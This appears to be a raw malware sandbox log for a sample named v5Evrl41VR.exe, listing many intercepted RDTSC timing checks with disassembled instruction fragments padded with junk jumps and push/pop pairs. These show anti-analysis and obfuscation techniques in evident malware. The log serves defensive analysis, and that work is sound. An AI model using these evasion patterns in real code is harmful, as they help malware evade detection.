Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6BAD5E second address: 6BAD64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6BAD64 second address: 6BAD89 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCD111F5CB8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jnl 00007FCD111F5CC0h 0x00000013 push eax 0x00000014 push edx 0x00000015 jo 00007FCD111F5CB6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6C3262 second address: 6C327E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD11532028h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6C327E second address: 6C32D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FCD111F5CC7h 0x0000000b pop esi 0x0000000c pushad 0x0000000d pushad 0x0000000e jno 00007FCD111F5CB6h 0x00000014 jmp 00007FCD111F5CBCh 0x00000019 jl 00007FCD111F5CB6h 0x0000001f jnc 00007FCD111F5CB6h 0x00000025 popad 0x00000026 jmp 00007FCD111F5CBAh 0x0000002b pushad 0x0000002c jp 00007FCD111F5CB6h 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 786CC1 second address: 786CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 786CC7 second address: 786CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 786CCD second address: 786CD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 786CD2 second address: 786CE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD111F5CC1h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 786CE9 second address: 786CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 786CED second address: 786CF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 798371 second address: 798379 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 798379 second address: 798394 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCD111F5CC2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 79B57E second address: 79B597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD1153201Fh 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 79B597 second address: 79B5C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FCD111F5CC7h 0x0000000d jmp 00007FCD111F5CC0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 79B5C6 second address: 79B5CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 79B702 second address: 79B708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 79B708 second address: 79B70C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7A989F second address: 7A98A9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCD111F5CBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7A98A9 second address: 7A98B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jp 00007FCD11532016h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7A98B5 second address: 7A98C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FCD111F5CC4h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7B0676 second address: 7B0682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FCD1153201Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7B0682 second address: 7B0686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7B0686 second address: 7B068D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7B0945 second address: 7B097E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FCD111F5CC2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FCD111F5CBEh 0x00000013 jmp 00007FCD111F5CBFh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7B097E second address: 7B0988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7B0C44 second address: 7B0C4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7B0F46 second address: 7B0F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7B0F4A second address: 7B0F5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FCD111F5CB6h 0x00000009 jl 00007FCD111F5CB6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7B0F5B second address: 7B0F65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7B1A98 second address: 7B1AA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7B1AA4 second address: 7B1AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7B1AAA second address: 7B1AAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7B1AAE second address: 7B1AB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7B1AB2 second address: 7B1AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FCD111F5CB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push ebx 0x0000000e jmp 00007FCD111F5CBDh 0x00000013 push eax 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7B5681 second address: 7B568C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FCD11532016h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7C408E second address: 7C40A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD111F5CC3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7C3E9E second address: 7C3EC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD1153201Bh 0x00000007 jl 00007FCD11532016h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FCD1153201Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7C3EC1 second address: 7C3EC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7C3EC5 second address: 7C3ED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD1153201Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7C3ED9 second address: 7C3EE3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCD111F5CBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7D233C second address: 7D2346 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCD1153201Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7D1ED7 second address: 7D1EFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD111F5CC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FCD111F5CBEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7D1EFF second address: 7D1F03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7D1F03 second address: 7D1F07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7D1F07 second address: 7D1F0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7E6079 second address: 7E6096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b jmp 00007FCD111F5CC0h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7E6096 second address: 7E609E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7E609E second address: 7E60A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6CF267 second address: 6CF27F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FCD1153201Eh 0x0000000a jo 00007FCD11532016h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7E6384 second address: 7E639B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD111F5CC1h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7E6956 second address: 7E6960 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7E6ADE second address: 7E6AE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7E6AE4 second address: 7E6AE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7E6C2A second address: 7E6C2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7E6C2E second address: 7E6C45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FCD1153201Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7E6F1F second address: 7E6F23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7E6F23 second address: 7E6F40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532027h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7E88D5 second address: 7E88DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7E88DB second address: 7E8903 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD1153201Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FCD1153201Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jng 00007FCD11532016h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7E8903 second address: 7E890C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7EB44B second address: 7EB44F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7ECA4A second address: 7ECA54 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCD111F5CB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7ECA54 second address: 7ECA5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7EE291 second address: 7EE29C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FCD111F5CB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7EE29C second address: 7EE2AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD1153201Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7EE2AE second address: 7EE2C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD111F5CC2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7EE2C4 second address: 7EE2C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7F018E second address: 7F0194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7F0194 second address: 7F0199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CB0424 second address: 4CB042A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CB042A second address: 4CB042E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CB042E second address: 4CB045F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD111F5CC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FCD111F5CC5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD05DF second address: 4CD05F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 movsx edx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop esi 0x00000011 mov eax, ebx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD05F3 second address: 4CD066A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 pushfd 0x00000007 jmp 00007FCD111F5CBFh 0x0000000c sbb ecx, 61DE75AEh 0x00000012 jmp 00007FCD111F5CC9h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c jmp 00007FCD111F5CC1h 0x00000021 xchg eax, ebp 0x00000022 jmp 00007FCD111F5CBEh 0x00000027 mov ebp, esp 0x00000029 jmp 00007FCD111F5CC0h 0x0000002e xchg eax, ecx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 movsx edi, si 0x00000035 mov di, cx 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD066A second address: 4CD067C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD1153201Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD067C second address: 4CD06BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD111F5CBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FCD111F5CC9h 0x00000011 xchg eax, ecx 0x00000012 jmp 00007FCD111F5CBEh 0x00000017 xchg eax, esi 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b movsx ebx, si 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD06BE second address: 4CD06C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD06C4 second address: 4CD06DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FCD111F5CBFh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD06DE second address: 4CD0710 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCD1153201Fh 0x00000008 mov bx, cx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, esi 0x0000000f jmp 00007FCD11532022h 0x00000014 lea eax, dword ptr [ebp-04h] 0x00000017 pushad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD0710 second address: 4CD0725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx esi, dx 0x00000007 popad 0x00000008 movsx edx, cx 0x0000000b popad 0x0000000c nop 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov cl, bh 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD0725 second address: 4CD0752 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD1153201Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FCD1153201Fh 0x00000010 mov si, F02Fh 0x00000014 popad 0x00000015 nop 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD0752 second address: 4CD0757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD0757 second address: 4CD078F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532028h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FCD11532027h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD078F second address: 4CD0795 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD0795 second address: 4CD0799 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD07AD second address: 4CD07B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD07B1 second address: 4CD07B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD07B7 second address: 4CD07E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD111F5CBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FCD111F5CC5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD08C8 second address: 4CD08CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD08CC second address: 4CD08D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD08D2 second address: 4CC025E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532023h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d sub esp, 04h 0x00000010 xor ebx, ebx 0x00000012 cmp eax, 00000000h 0x00000015 je 00007FCD1153217Ah 0x0000001b mov dword ptr [esp], 0000000Dh 0x00000022 call 00007FCD15CBE3C8h 0x00000027 mov edi, edi 0x00000029 jmp 00007FCD1153201Eh 0x0000002e xchg eax, ebp 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007FCD1153201Eh 0x00000036 sbb cl, FFFFFF98h 0x00000039 jmp 00007FCD1153201Bh 0x0000003e popfd 0x0000003f pushad 0x00000040 mov bx, D7C8h 0x00000044 popad 0x00000045 popad 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007FCD1153201Dh 0x0000004e 